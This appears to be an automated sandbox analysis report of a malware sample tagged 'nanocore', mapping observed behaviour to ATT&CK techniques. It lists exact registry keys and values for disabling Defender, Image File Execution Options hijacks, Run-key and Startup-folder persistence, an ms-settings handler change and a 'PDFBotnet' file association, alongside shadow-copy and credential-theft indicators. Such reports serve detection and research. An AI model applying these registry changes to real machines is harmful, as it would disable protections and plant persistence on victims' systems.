nanocore | a40ffdf3700fb34c187d71ad6582a68ff4af821ae0264021e525e0d18ff6f856

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	www.fastfocus.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4484	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	www.fastfocus.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	www.fastfocus.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_chrome.exe"	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	www.fastfocus.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_chrome.exe"	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	www.fastfocus.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_chrome.exe"	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	www.fastfocus.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
6004	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	www.fastfocus.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	www.fastfocus.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	www.fastfocus.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_chrome.exe"	www.fastfocus.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_chrome.exe"	www.fastfocus.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_chrome.exe"	www.fastfocus.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5100	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	www.fastfocus.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	www.fastfocus.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	www.fastfocus.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3144	wscript.exe
2956	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	www.fastfocus.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	www.fastfocus.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2544	sc.exe
5400	sc.exe
3644	sc.exe
1908	sc.exe
940	sc.exe
464	sc.exe
4324	sc.exe
2828	sc.exe
4924	sc.exe
5568	sc.exe
5424	sc.exe
2384	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2712	cmd.exe
4560	cmd.exe
1008	cmd.exe
3680	cmd.exe
2536	cmd.exe
2880	cmd.exe
4848	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4920	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4760	NETSTAT.EXE
4588	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2800	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5384	vssadmin.exe
1836	vssadmin.exe
5140	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	www.fastfocus.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302809614061807"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	www.fastfocus.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	www.fastfocus.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	www.fastfocus.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_chrome.exe"	www.fastfocus.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	www.fastfocus.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	www.fastfocus.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	www.fastfocus.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	www.fastfocus.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_chrome.exe\" \"%1\""	www.fastfocus.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5928	schtasks.exe
3368	schtasks.exe
3232	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1716	chrome.exe
1716	chrome.exe
4484	powershell.exe
4484	powershell.exe
4484	powershell.exe
4892	WMIC.exe
4892	WMIC.exe
4892	WMIC.exe
4892	WMIC.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
2076	WMIC.exe
2076	WMIC.exe
2076	WMIC.exe
2076	WMIC.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
5332	WMIC.exe
5332	WMIC.exe
5332	WMIC.exe
5332	WMIC.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe
3332	www.fastfocus.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3332	www.fastfocus.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1716	chrome.exe
Token: SeCreatePagefilePrivilege	1716	chrome.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeShutdownPrivilege	1716	chrome.exe
Token: SeCreatePagefilePrivilege	1716	chrome.exe
Token: SeShutdownPrivilege	1716	chrome.exe
Token: SeCreatePagefilePrivilege	1716	chrome.exe
Token: SeShutdownPrivilege	1716	chrome.exe
Token: SeCreatePagefilePrivilege	1716	chrome.exe
Token: SeShutdownPrivilege	1716	chrome.exe
Token: SeCreatePagefilePrivilege	1716	chrome.exe
Token: SeShutdownPrivilege	1716	chrome.exe
Token: SeCreatePagefilePrivilege	1716	chrome.exe
Token: SeIncreaseQuotaPrivilege	4892	WMIC.exe
Token: SeSecurityPrivilege	4892	WMIC.exe
Token: SeTakeOwnershipPrivilege	4892	WMIC.exe
Token: SeLoadDriverPrivilege	4892	WMIC.exe
Token: SeSystemProfilePrivilege	4892	WMIC.exe
Token: SeSystemtimePrivilege	4892	WMIC.exe
Token: SeProfSingleProcessPrivilege	4892	WMIC.exe
Token: SeIncBasePriorityPrivilege	4892	WMIC.exe
Token: SeCreatePagefilePrivilege	4892	WMIC.exe
Token: SeBackupPrivilege	4892	WMIC.exe
Token: SeRestorePrivilege	4892	WMIC.exe
Token: SeShutdownPrivilege	4892	WMIC.exe
Token: SeDebugPrivilege	4892	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4892	WMIC.exe
Token: SeRemoteShutdownPrivilege	4892	WMIC.exe
Token: SeUndockPrivilege	4892	WMIC.exe
Token: SeManageVolumePrivilege	4892	WMIC.exe
Token: 33	4892	WMIC.exe
Token: 34	4892	WMIC.exe
Token: 35	4892	WMIC.exe
Token: 36	4892	WMIC.exe
Token: SeBackupPrivilege	4540	vssvc.exe
Token: SeRestorePrivilege	4540	vssvc.exe
Token: SeAuditPrivilege	4540	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4892	WMIC.exe
Token: SeSecurityPrivilege	4892	WMIC.exe
Token: SeTakeOwnershipPrivilege	4892	WMIC.exe
Token: SeLoadDriverPrivilege	4892	WMIC.exe
Token: SeSystemProfilePrivilege	4892	WMIC.exe
Token: SeSystemtimePrivilege	4892	WMIC.exe
Token: SeProfSingleProcessPrivilege	4892	WMIC.exe
Token: SeIncBasePriorityPrivilege	4892	WMIC.exe
Token: SeCreatePagefilePrivilege	4892	WMIC.exe
Token: SeBackupPrivilege	4892	WMIC.exe
Token: SeRestorePrivilege	4892	WMIC.exe
Token: SeShutdownPrivilege	4892	WMIC.exe
Token: SeDebugPrivilege	4892	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4892	WMIC.exe
Token: SeRemoteShutdownPrivilege	4892	WMIC.exe
Token: SeUndockPrivilege	4892	WMIC.exe
Token: SeManageVolumePrivilege	4892	WMIC.exe
Token: 33	4892	WMIC.exe
Token: 34	4892	WMIC.exe
Token: 35	4892	WMIC.exe
Token: 36	4892	WMIC.exe
Token: SeShutdownPrivilege	1716	chrome.exe
Token: SeCreatePagefilePrivilege	1716	chrome.exe
Token: SeShutdownPrivilege	1716	chrome.exe
Token: SeCreatePagefilePrivilege	1716	chrome.exe
Token: SeShutdownPrivilege	1716	chrome.exe
Token: SeCreatePagefilePrivilege	1716	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe
1716	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3332	www.fastfocus.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3332 wrote to memory of 1716	3332	www.fastfocus.io_chrome.exe	89
PID 1716 wrote to memory of 4580	1716	chrome.exe	90
PID 3332 wrote to memory of 4484	3332	www.fastfocus.io_chrome.exe	91
PID 3332 wrote to memory of 4924	3332	www.fastfocus.io_chrome.exe	93
PID 3332 wrote to memory of 2544	3332	www.fastfocus.io_chrome.exe	95
PID 1716 wrote to memory of 1932	1716	chrome.exe	96
PID 1716 wrote to memory of 4920	1716	chrome.exe	97
PID 1716 wrote to memory of 1932	1716	chrome.exe	96
PID 1716 wrote to memory of 1652	1716	chrome.exe	98
PID 1716 wrote to memory of 1652	1716	chrome.exe	98
PID 1716 wrote to memory of 5056	1716	chrome.exe	102
PID 1716 wrote to memory of 5092	1716	chrome.exe	101
PID 1716 wrote to memory of 5056	1716	chrome.exe	102
PID 1716 wrote to memory of 5092	1716	chrome.exe	101
PID 3332 wrote to memory of 5568	3332	www.fastfocus.io_chrome.exe	103
PID 3332 wrote to memory of 5400	3332	www.fastfocus.io_chrome.exe	105
PID 1716 wrote to memory of 2032	1716	chrome.exe	106
PID 1716 wrote to memory of 2032	1716	chrome.exe	106
PID 1716 wrote to memory of 1956	1716	chrome.exe	108
